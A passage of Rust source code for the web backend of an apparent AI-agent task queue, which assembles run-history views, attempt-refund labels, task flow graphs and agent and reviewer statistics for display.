5382#[derive(Debug, Clone, PartialEq, Serialize)]
5384struct PassView {
5385 index: usize,
5386 resumed: bool,
5387 started_at: Timestamp,
5388 ended_at: Option<Timestamp>,
5389 end: &'static str,
5391 cause: Option<crate::run::ParkCause>,
5392 label: String,
5394 cost: Option<crate::queue::PassCost>,
5397}
5398
5399impl PassView {
5400 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5401 use crate::run::PassEnd;
5402 let (end, cause, label) = match &p.end {
5403 None => ("open", None, "still open".to_owned()),
5404 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5405 Some(PassEnd::Unrecorded) => (
5406 "unrecorded",
5407 None,
5408 "stopped without recording why (a crash, a kill or a restart; not known)"
5409 .to_owned(),
5410 ),
5411 };
5412 Self {
5413 index: p.index,
5414 resumed: p.resumed,
5415 started_at: p.started_at,
5416 ended_at: p.ended_at,
5417 end,
5418 cause,
5419 label,
5420 cost: settled.map(|t| t.cost),
5421 }
5422 }
5423}
5424
5425#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5427#[serde(rename_all = "snake_case")]
5428enum RunExit {
5429 Unreadable,
5430 Interrupted,
5432 Parked,
5433 QuotaStall,
5434 ResumedQuotaStall,
5438 Merged,
5439 Ready,
5440 Superseded,
5441 AlreadyInBase,
5444 Stalled,
5446 HeldWithPr,
5448 NoopHeld,
5449 Spent,
5451 InProgress,
5452}
5453
5454#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5455#[serde(rename_all = "snake_case")]
5456enum AttemptCost {
5457 Spent,
5458 Refunded,
5459 None,
5460 Unknown,
5462}
5463
5464impl RunExit {
5465 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5466 let Some(s) = s else {
5467 return Self::Unreadable;
5468 };
5469 let status = s.status;
5470 if resumed_later {
5471 Self::Interrupted
5472 } else if s.parked {
5473 Self::Parked
5474 } else if !status.done() {
5475 Self::InProgress
5476 } else if matches!(status, RunStatus::Merged) {
5477 Self::Merged
5478 } else if matches!(status, RunStatus::Ready) {
5479 Self::Ready
5480 } else if matches!(status, RunStatus::Superseded) {
5481 Self::Superseded
5482 } else if matches!(status, RunStatus::AlreadyInBase) {
5483 Self::AlreadyInBase
5484 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5485 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5486 {
5487 if resumed {
5488 Self::ResumedQuotaStall
5489 } else {
5490 Self::QuotaStall
5491 }
5492 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5493 Self::HeldWithPr
5494 } else if matches!(status, RunStatus::VerifiedNoop) {
5495 Self::NoopHeld
5496 } else if matches!(status, RunStatus::Stalled) {
5497 Self::Stalled
5498 } else {
5499 Self::Spent
5500 }
5501 }
5502
5503 fn cost(self) -> AttemptCost {
5504 match self {
5505 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5506 Self::Merged
5507 | Self::Ready
5508 | Self::Stalled
5509 | Self::HeldWithPr
5510 | Self::NoopHeld
5511 | Self::Spent => AttemptCost::Spent,
5512 Self::InProgress => AttemptCost::None,
5513 Self::AlreadyInBase => AttemptCost::Refunded,
5514 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5515 AttemptCost::Unknown
5516 }
5517 }
5518 }
5519
5520 fn edge_label(self, status: Option<&str>) -> String {
5522 match self {
5523 Self::Unreadable => "record unreadable".to_owned(),
5524 Self::Interrupted => "interrupted before the run finished".to_owned(),
5525 Self::Parked => "parked, attempt refunded".to_owned(),
5526 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5527 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5528 Self::Merged => "merged".to_owned(),
5529 Self::Ready => "ready, not merged".to_owned(),
5530 Self::Superseded => "superseded by a later attempt".to_owned(),
5531 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5532 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5533 Self::HeldWithPr => "blocked, PR left open".to_owned(),
5534 Self::NoopHeld => "verified no-op".to_owned(),
5535 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5536 Self::InProgress => "in progress".to_owned(),
5537 }
5538 }
5539
5540 fn explains(self, end: TaskStatus) -> bool {
5543 match self {
5544 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5545 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5546 Self::Unreadable | Self::Superseded | Self::Ready => true,
5547 _ => end != TaskStatus::Done,
5548 }
5549 }
5550}
5551
5552#[derive(Debug, Serialize)]
5554struct TaskDetailView {
5555 #[serde(flatten)]
5556 task: TaskView,
5557 max_attempts: usize,
5560 history: Vec<TaskRunView>,
5561 passes_total: usize,
5564 runs_distinct: usize,
5566 flow: FlowView,
5567 followup_origin: Option<FollowUpOrigin>,
5569 runs_unreadable: usize,
5571 attempts_note: &'static str,
5573}
5574
5575const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5576and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5577on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5578the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5579
5580fn review_branch_of(instruction: &str) -> Option<&str> {
5583 let rest = instruction.strip_prefix("Review the work already on branch `")?;
5584 rest.split('`').next().filter(|b| !b.is_empty())
5585}
5586
5587#[derive(Default)]
5589struct RunSlot<'a> {
5590 n: usize,
5592 resumed: bool,
5594 resumed_later: Option<usize>,
5596 prior: Option<(&'a str, RunStatus)>,
5598 last: bool,
5599 pass: Option<&'a crate::run::RunPass>,
5601 settled: Option<&'a crate::queue::TaskPass>,
5603 pass_n: usize,
5605 passes_of_run: usize,
5606}
5607
5608fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5611 let RunSlot {
5612 n,
5613 resumed,
5614 resumed_later,
5615 prior,
5616 last,
5617 pass,
5618 settled,
5619 pass_n,
5620 passes_of_run,
5621 } = at;
5622 let short = run::short_of(id).to_owned();
5623 let Some(s) = state else {
5624 return TaskRunView {
5625 n,
5626 id: id.to_owned(),
5627 short,
5628 kind: "unknown",
5629 status: None,
5630 readable: false,
5631 provisional: false,
5632 description:
5633 "This run's record could not be read by this build (written by a different \
5634 magi, or removed), so what kind of attempt it was is unknown."
5635 .to_owned(),
5636 outcome: String::new(),
5637 created_at: None,
5638 pr: None,
5639 exit: RunExit::Unreadable,
5640 attempt: AttemptCost::Unknown,
5641 exit_label: RunExit::Unreadable.edge_label(None),
5642 later_pass: resumed_later,
5643 pass_n,
5644 passes_of_run,
5645 pass: None,
5646 branch: None,
5647 badge: None,
5648 };
5649 };
5650 let branch = review_branch_of(&s.instruction);
5651 let kind = if resumed {
5652 "resume"
5653 } else if branch.is_some() {
5654 "review"
5655 } else if task.solo || s.candidates.len() == 1 {
5656 "solo"
5657 } else {
5658 "competition"
5659 };
5660 let mut description = match kind {
5661 "resume" => {
5662 format!("Resumed run {short}: the same run carried on instead of competing again.")
5663 }
5664 "review" => format!(
5665 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5666 branch.unwrap_or_default()
5667 ),
5668 "solo" => "Solo run: one implementer straight into review.".to_owned(),
5669 _ => format!(
5670 "Competition: {} candidates judged blind.",
5671 s.candidates.len().max(1)
5672 ),
5673 };
5674 if !resumed && let Some((p, st)) = prior {
5675 description.push_str(&format!(
5676 " A retry: run {p} before it ended {}.",
5677 st.display_label()
5678 ));
5679 }
5680
5681 let status = s.status;
5682 let provisional = matches!(status, RunStatus::Stalled)
5683 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5684 let head = if resumed_later.is_some() {
5685 String::new()
5686 } else {
5687 match status {
5688 RunStatus::Merged => "Merged.".to_owned(),
5689 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
5690 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
5691 RunStatus::AlreadyInBase => {
5692 "Already in the base: this change landed under other commits, nothing was left to land."
5693 .to_owned()
5694 }
5695 RunStatus::Stalled => {
5696 "Stalled: the judging panel never reached a quorum, so there is no verdict."
5697 .to_owned()
5698 }
5699 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5700 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5701 RunStatus::VerifiedNoop => {
5702 "Verified no-op: the candidates found nothing to change.".to_owned()
5703 }
5704 other if other.done() => format!("Ended {}.", other.display_label()),
5705 other => format!("In progress ({}).", other.display_label()),
5706 }
5707 };
5708 let view = pass.map(|p| PassView::of(p, settled));
5709 let recorded_end = view
5710 .as_ref()
5711 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5712 let cost_words = match view.as_ref().and_then(|v| v.cost) {
5713 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5714 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5715 None => "whether its attempt was handed back was not recorded",
5716 };
5717 let pass_note = if passes_of_run > 1 {
5718 format!(
5719 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5720 )
5721 } else {
5722 String::new()
5723 };
5724 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5725 let cause = match v.end {
5727 "parked" => format!("It was stopped on purpose: {}.", v.label),
5728 _ => format!("It {}.", v.label),
5729 };
5730 format!(
5731 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5732 capitalise(cost_words)
5733 )
5734 } else if let Some(k) = resumed_later {
5735 let cause = if s.quota.is_empty() {
5742 "the cause was not recorded: a park, a crash or a restart all look the same from here"
5743 } else {
5744 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5745 };
5746 format!(
5747 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5748 )
5749 } else if s.parked {
5750 match recorded_end.and_then(|v| v.cause.as_ref()) {
5751 Some(cause) => format!(
5752 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5753 cause.label(),
5754 cost_words
5755 ),
5756 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5757 .to_owned(),
5758 }
5759 } else if !status.done()
5760 || matches!(
5761 status,
5762 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5763 )
5764 {
5765 String::new()
5766 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5767 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5768 {
5769 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5770 .to_owned()
5771 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5772 " It left a pull request open, so the task was held for a person rather than retried."
5773 .to_owned()
5774 } else if matches!(status, RunStatus::VerifiedNoop) {
5775 " Held for a person to check the claim.".to_owned()
5776 } else if last {
5777 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5778 } else {
5779 " It spent an attempt, and the task moved on to the next run.".to_owned()
5780 };
5781 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5782 let mut attempt = exit.cost();
5783 let mut exit_label = None;
5784 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5785 let spent = match v.cost {
5786 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5787 Some(crate::queue::PassCost::Spent) => ", attempt counted",
5788 None if resumed_later.is_some() => ", refund not recorded",
5789 None => ", attempt refunded",
5790 };
5791 attempt = match v.cost {
5792 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5793 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5794 None if resumed_later.is_some() => AttemptCost::Unknown,
5795 None => attempt,
5796 };
5797 if v.end == "parked" {
5798 exit = RunExit::Parked;
5799 exit_label = Some(match v.cause.as_ref() {
5800 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5801 format!("parked for {}{spent}", c.label())
5802 }
5803 Some(c) => format!("parked ({}){spent}", c.label()),
5804 None => format!("parked{spent}"),
5805 });
5806 } else {
5807 exit_label = Some(format!("stopped without a recorded cause{spent}"));
5808 }
5809 }
5810 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5811 TaskRunView {
5812 n,
5813 id: id.to_owned(),
5814 short,
5815 kind,
5816 status: Some(status.as_str()),
5817 readable: true,
5818 provisional,
5819 description,
5820 outcome: format!("{head}{why}"),
5821 created_at: Some(s.created_at),
5822 pr: s.pr.as_ref().map(|p| p.url.clone()),
5823 exit,
5824 attempt,
5825 exit_label,
5826 later_pass: resumed_later,
5827 pass_n,
5828 passes_of_run,
5829 pass: view,
5830 branch: branch.map(str::to_owned),
5831 badge: None,
5832 }
5833}
5834
5835fn capitalise(s: &str) -> String {
5836 let mut c = s.chars();
5837 c.next().map_or_else(String::new, |f| {
5838 f.to_uppercase().collect::<String>() + c.as_str()
5839 })
5840}
5841
5842#[derive(Debug, Serialize, PartialEq)]
5844struct FlowNode {
5845 key: String,
5847 kind: &'static str,
5849 label: String,
5850 status: Option<&'static str>,
5853 status_of: &'static str,
5856 note: Option<&'static str>,
5858 run_kind: Option<&'static str>,
5859 detail: Option<String>,
5860 decided: bool,
5862 readable: bool,
5863 href: Option<String>,
5864 badge: Option<String>,
5866 started_at: Option<Timestamp>,
5868 time_expected: bool,
5870}
5871
5872#[derive(Debug, Serialize, PartialEq)]
5873struct FlowEdge {
5874 from: String,
5875 to: String,
5876 label: String,
5877 attempt: AttemptCost,
5878}
5879
5880#[derive(Debug, Serialize, PartialEq)]
5881struct FlowView {
5882 nodes: Vec<FlowNode>,
5883 edges: Vec<FlowEdge>,
5884 attempts: usize,
5886 max_attempts: usize,
5887 passes: usize,
5890 runs: usize,
5891}
5892
5893fn task_flow(
5902 task: &Task,
5903 history: &[TaskRunView],
5904 max_attempts: usize,
5905 origin: Option<&FollowUpOrigin>,
5906) -> FlowView {
5907 let max_attempts = task.effective_attempt_limit(max_attempts);
5908 let node = |key: &str, kind, label: String| FlowNode {
5909 key: key.to_owned(),
5910 kind,
5911 label,
5912 status: None,
5913 status_of: "run",
5914 note: None,
5915 run_kind: None,
5916 detail: None,
5917 decided: false,
5918 readable: true,
5919 href: None,
5920 badge: None,
5921 started_at: None,
5922 time_expected: matches!(kind, "start" | "run" | "end"),
5923 };
5924 let mut nodes = Vec::new();
5925 let mut edges: Vec<FlowEdge> = Vec::new();
5926 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5928 let mut n = node(
5929 "chat",
5930 "chat",
5931 format!("Chat {}", crate::queue::short(&link.id)),
5932 );
5933 n.href = Some(link.href);
5934 nodes.push(n);
5935 edges.push(FlowEdge {
5936 from: "chat".to_owned(),
5937 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5938 label: "queued from chat".to_owned(),
5939 attempt: AttemptCost::None,
5940 });
5941 }
5942 if let Some(o) = origin {
5943 let mut n = match &o.parent {
5944 Some(p) => {
5945 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5946 n.status = Some(p.status);
5947 n.status_of = "task";
5948 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5949 n.href = Some(p.href.clone());
5950 n
5951 }
5952 None => {
5953 let mut n = node(
5954 "origin",
5955 "followup",
5956 format!("Follow-up of run {}", o.run.short),
5957 );
5958 n.detail = Some("merged run".to_owned());
5959 n.status = o.run.status;
5960 n.href = o.run.href.clone();
5961 if o.run.href.is_none() {
5962 n.readable = false;
5963 n.note = Some("unreadable");
5964 }
5965 n
5966 }
5967 };
5968 n.decided = true;
5969 let from = n.key.clone();
5970 nodes.push(n);
5971 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5972 let more = o.findings.len().saturating_sub(shown.len());
5973 let label = match (shown.is_empty(), more) {
5974 (true, _) => "open findings".to_owned(),
5975 (false, 0) => format!("open findings {}", shown.join(", ")),
5976 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5977 };
5978 edges.push(FlowEdge {
5979 from,
5980 to: "start".to_owned(),
5981 label,
5982 attempt: AttemptCost::None,
5983 });
5984 }
5985 let mut start = node("start", "start", "Task queued".to_owned());
5986 start.started_at = Some(task.created_at);
5987 nodes.push(start);
5988 let mut prev = "start".to_owned();
5989 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5990 for (i, h) in history.iter().enumerate() {
5991 let key = format!("run-{}", h.n);
5992 let mut n = node(&key, "run", format!("Run {}", h.short));
5993 n.started_at = h
5996 .readable
5997 .then(|| {
5998 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5999 h.created_at
6000 } else {
6001 None
6002 })
6003 })
6004 .flatten();
6005 n.run_kind = Some(h.kind);
6006 n.readable = h.readable;
6007 n.href = Some(format!("#/runs/{}", h.id));
6008 n.decided = h.readable && !h.provisional;
6009 n.detail = h
6010 .branch
6011 .as_ref()
6012 .map(|b| format!("review-only run of branch {b}"));
6013 match h.exit {
6014 RunExit::Unreadable => n.note = Some("unreadable"),
6015 RunExit::Interrupted => n.note = Some("interrupted"),
6016 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6019 _ => {
6020 n.status = h.status;
6021 n.badge = h.badge.clone();
6022 if h.provisional {
6023 n.note = Some("no verdict");
6024 }
6025 }
6026 }
6027 let into = match h.kind {
6028 "review" => Some(format!(
6029 "review-only run of branch {}",
6030 h.branch.as_deref().unwrap_or("?")
6031 )),
6032 "resume" => Some("resume the same run".to_owned()),
6033 _ if i > 0 => Some("retry".to_owned()),
6034 _ => None,
6035 };
6036 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6037 let label = match (prev_exit, into) {
6038 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6039 (Some((_, l, _)), None) => l,
6040 (None, Some(i)) => i,
6041 (None, None) => "claimed".to_owned(),
6042 };
6043 edges.push(FlowEdge {
6044 from: prev.clone(),
6045 to: key.clone(),
6046 label,
6047 attempt,
6048 });
6049 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6050 prev = key;
6051 nodes.push(n);
6052 }
6053 let mut end = node("end", "end", task.status.as_str().to_owned());
6054 end.status = Some(task.status.as_str());
6055 end.status_of = "task";
6056 if task.status == TaskStatus::Held {
6059 end.started_at = task.held_at;
6060 }
6061 nodes.push(end);
6062 let (label, attempt) = match prev_exit {
6063 None => (
6064 format!("no run yet \u{2192} {}", task.status.as_str()),
6065 AttemptCost::None,
6066 ),
6067 Some((e, l, cost)) if e.explains(task.status) => {
6068 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6069 }
6070 Some((_, _, cost)) => (
6071 format!("closed by hand: task is {}", task.status.as_str()),
6072 cost,
6073 ),
6074 };
6075 edges.push(FlowEdge {
6076 from: prev,
6077 to: "end".to_owned(),
6078 label,
6079 attempt,
6080 });
6081 FlowView {
6082 nodes,
6083 edges,
6084 attempts: task.attempts,
6085 max_attempts,
6086 passes: history.len(),
6087 runs: distinct_runs(&task.runs),
6088 }
6089}
6090
6091fn distinct_runs(runs: &[String]) -> usize {
6093 let mut seen: Vec<&str> = Vec::new();
6094 for r in runs {
6095 if !seen.contains(&r.as_str()) {
6096 seen.push(r);
6097 }
6098 }
6099 seen.len()
6100}
6101
6102fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6104 let mut slots = Vec::new();
6105 let mut seen = Vec::new();
6106 for run_id in &task.runs {
6107 if seen.contains(&run_id) {
6108 continue;
6109 }
6110 seen.push(run_id);
6111 let state = read(run_id);
6112 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6113 s.passes
6114 .iter()
6115 .filter(|p| {
6116 p.task_entry
6117 || task
6118 .passes
6119 .iter()
6120 .any(|t| t.run == *run_id && t.pass_index == p.index)
6121 })
6122 .cloned()
6123 .collect()
6124 });
6125 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6126 let total = legacy_count.max(mine.len());
6127 let offset = total - mine.len();
6128 for k in 0..total {
6129 let position = task
6132 .runs
6133 .iter()
6134 .enumerate()
6135 .filter(|(_, r)| *r == run_id)
6136 .nth(k.min(legacy_count - 1))
6137 .unwrap()
6138 .0;
6139 slots.push((
6140 run_id,
6141 state.clone(),
6142 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6143 position,
6144 ));
6145 }
6146 }
6147 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6148 slots.sort_by_key(|(_, state, pass, _)| {
6149 pass.as_ref()
6150 .map(|p| p.started_at)
6151 .or_else(|| state.as_ref().map(|s| s.created_at))
6152 .map_or((true, task.created_at), |at| (false, at))
6153 });
6154 } else {
6155 slots.sort_by_key(|(_, _, _, position)| *position);
6156 }
6157 let mut history = Vec::with_capacity(slots.len());
6158 let mut seen: Vec<&str> = Vec::new();
6159 let mut prior: Option<(&str, RunStatus)> = None;
6160 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6161 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6162 let resumed = k > 0;
6163 seen.push(run_id);
6164 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6165 let pass = pass.as_ref();
6166 let settled = pass.and_then(|p| {
6167 task.passes
6168 .iter()
6169 .find(|t| t.run == **run_id && t.pass_index == p.index)
6170 });
6171 history.push(task_run_view(
6172 run_id,
6173 state.as_ref(),
6174 RunSlot {
6175 n: i + 1,
6176 resumed,
6177 resumed_later: slots[i + 1..]
6178 .iter()
6179 .position(|(id, _, _, _)| id == run_id)
6180 .map(|off| i + off + 2),
6181 prior,
6182 last: i + 1 == slots.len(),
6183 pass,
6184 settled,
6185 pass_n: k + 1,
6186 passes_of_run: total,
6187 },
6188 task,
6189 ));
6190 if let Some(s) = &state {
6191 prior = Some((run::short_of(run_id), s.status));
6192 }
6193 }
6194 history
6195}
6196
6197fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6200 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6201 return;
6202 }
6203 let (_, claimed, _) = run_row_inputs(ui);
6204 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6205 for h in history
6206 .iter_mut()
6207 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6208 {
6209 let Ok(state) = read_run(&ui.runs, &h.id) else {
6210 continue;
6211 };
6212 if state.status.done() {
6213 continue;
6214 }
6215 let live = state.liveness_with(
6216 claimed.contains(&h.id),
6217 |p| probe.borrow_mut().status(p),
6218 |p| probe.borrow_mut().started_at(p),
6219 );
6220 let waiting = !ui.questions.open_for(&h.id).is_empty();
6221 let display = run_display_status(&state, waiting, live);
6222 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6223 if matches!(word.as_str(), "stale" | "superseded")
6224 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6225 {
6226 h.badge = Some(word);
6227 }
6228 }
6229}
6230
6231async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6232 blocking(move || {
6233 let id = resolve_task(&ui.queue, &id)?;
6234 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6235 })
6236 .await
6237}
6238
6239async fn task_detail(
6240 State(ui): State<Arc<Ui>>,
6241 Path(id): Path<String>,
6242) -> ApiResult<Json<TaskDetailView>> {
6243 blocking(move || {
6244 let id = resolve_task(&ui.queue, &id)?;
6245 let task = ui
6246 .queue
6247 .get(&id)
6248 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6249 let inv = if task.status == TaskStatus::Blocked {
6250 Some(crate::blockers::Inventory::load_for(
6251 &ui.queue,
6252 &ui.questions,
6253 &task,
6254 ))
6255 } else {
6256 None
6257 };
6258 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6259 mark_badges(&ui, &task, &mut history);
6260 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6261 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6262 let origin = task.followup.as_ref().map(|fu| {
6263 followup_origin(
6264 fu,
6265 |tid| ui.queue.get(tid).ok(),
6266 |rid| read_run(&ui.runs, rid).ok(),
6267 )
6268 });
6269 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6270 let task_view = match inv.as_ref() {
6271 Some(inv) => TaskView::with_inventory(task, inv),
6272 None => TaskView::from(task),
6273 };
6274 Ok(Json(TaskDetailView {
6275 max_attempts,
6276 flow,
6277 followup_origin: origin,
6278 passes_total: history.len(),
6279 runs_distinct: distinct_runs(&task_view.task.runs),
6280 history,
6281 runs_unreadable,
6282 attempts_note: ATTEMPTS_NOTE,
6283 task: task_view,
6284 }))
6285 })
6286 .await
6287}
6288
6289#[derive(Debug, Serialize)]
6293struct RateView {
6294 pct: f64,
6295 denominator: usize,
6296}
6297
6298impl RateView {
6299 fn of(numerator: usize, denominator: usize) -> Option<Self> {
6300 (denominator > 0).then(|| Self {
6301 pct: 100.0 * numerator as f64 / denominator as f64,
6302 denominator,
6303 })
6304 }
6305}
6306
6307#[derive(Debug, Serialize)]
6312struct StatsTotalsView {
6313 runs: usize,
6314 merged: usize,
6315 ready: usize,
6316 blocked: usize,
6317 failed: usize,
6318 stalled: usize,
6319 verified_noop: usize,
6320 superseded: usize,
6321 in_progress: usize,
6322 completion_rate: Option<RateView>,
6323 tallied: usize,
6324 split: usize,
6325 split_rate: Option<RateView>,
6326 deliberated: usize,
6327 minds_changed: usize,
6328 converged: usize,
6329 review_rounds: usize,
6330}
6331
6332impl From<&stats::Totals> for StatsTotalsView {
6333 fn from(t: &stats::Totals) -> Self {
6334 Self {
6335 runs: t.runs,
6336 merged: t.merged,
6337 ready: t.ready,
6338 blocked: t.blocked,
6339 failed: t.failed,
6340 stalled: t.stalled,
6341 verified_noop: t.verified_noop,
6342 superseded: t.superseded,
6343 in_progress: t.in_progress,
6344 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6345 tallied: t.tallied,
6346 split: t.split,
6347 split_rate: RateView::of(t.split, t.tallied),
6348 deliberated: t.deliberated,
6349 minds_changed: t.minds_changed,
6350 converged: t.converged,
6351 review_rounds: t.review_rounds,
6352 }
6353 }
6354}
6355
6356#[derive(Debug, Serialize)]
6358struct AgentStatsView {
6359 agent: String,
6360 entered: usize,
6361 wins: usize,
6362 empty: usize,
6363 win_rate: Option<RateView>,
6364 competitive_entered: usize,
6365 competitive_wins: usize,
6366 competitive_win_rate: Option<RateView>,
6367 solo_entered: usize,
6368 solo_adopted: usize,
6369 solo_adoption_rate: Option<RateView>,
6370}
6371
6372impl From<&stats::AgentStats> for AgentStatsView {
6373 fn from(a: &stats::AgentStats) -> Self {
6374 Self {
6375 agent: a.agent.clone(),
6376 entered: a.entered,
6377 wins: a.wins,
6378 empty: a.empty,
6379 win_rate: RateView::of(a.wins, a.entered),
6380 competitive_entered: a.competitive_entered,
6381 competitive_wins: a.competitive_wins,
6382 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6383 solo_entered: a.solo_entered,
6384 solo_adopted: a.solo_adopted,
6385 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6386 }
6387 }
6388}
6389
6390#[derive(Debug, Serialize)]
6394struct ReviewerStatsView {
6395 agent: String,
6396 rounds: usize,
6397 seated: usize,
6398 submitted: usize,
6399 adopted: usize,
6400 unique: usize,
6401 timeouts: usize,
6402 adopted_per_round: Option<f64>,
6403 precision: Option<RateView>,
6404 unique_rate: Option<RateView>,
6405 timeout_rate: Option<RateView>,
6406}
6407
6408impl From<&stats::ReviewerStats> for ReviewerStatsView {
6409 fn from(r: &stats::ReviewerStats) -> Self {
6410 Self {
6411 agent: r.agent.clone(),
6412 rounds: r.rounds,
6413 seated: r.seated,
6414 submitted: r.submitted,
6415 adopted: r.adopted,
6416 unique: r.unique,
6417 timeouts: r.timeouts,
6418 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6419 precision: RateView::of(r.adopted, r.submitted),
6420 unique_rate: RateView::of(r.unique, r.submitted),
6421 timeout_rate: RateView::of(r.timeouts, r.seated),
6422 }
6423 }
6424}
6425
6426#[derive(Debug, Serialize)]
6432struct AdvisorStatsView {
6433 agent: String,
6434 seated: usize,
6435 proposed: usize,
6436 absent: usize,
6437 faint: usize,
6438 strong: usize,
6439 reflection_rate: Option<RateView>,
6440}
6441
6442impl From<&stats::AdvisorStats> for AdvisorStatsView {
6443 fn from(a: &stats::AdvisorStats) -> Self {
6444 Self {
6445 agent: a.agent.clone(),
6446 seated: a.seated,
6447 proposed: a.proposed,
6448 absent: a.absent,
6449 faint: a.faint,
6450 strong: a.strong,
6451 reflection_rate: RateView::of(a.strong, a.proposed),
6452 }
6453 }
6454}
6455
6456#[derive(Debug, Serialize)]
6458struct E2eStatsView {
6459 rounds: usize,
6460 failures: usize,
6461 sole_detections: usize,
6462 deferred: usize,
6463 sole_rate: Option<RateView>,
6464}
6465
6466impl From<&stats::E2eStats> for E2eStatsView {
6467 fn from(e: &stats::E2eStats) -> Self {
6468 Self {
6469 rounds: e.rounds,
6470 failures: e.failures,
6471 sole_detections: e.sole_detections,
6472 deferred: e.deferred,
6473 sole_rate: RateView::of(e.sole_detections, e.failures),
6474 }
6475 }
6476}
6477
6478#[derive(Debug, Serialize)]
6486struct ReleaseBumpStatsView {
6487 merged: usize,
6488 recorded: usize,
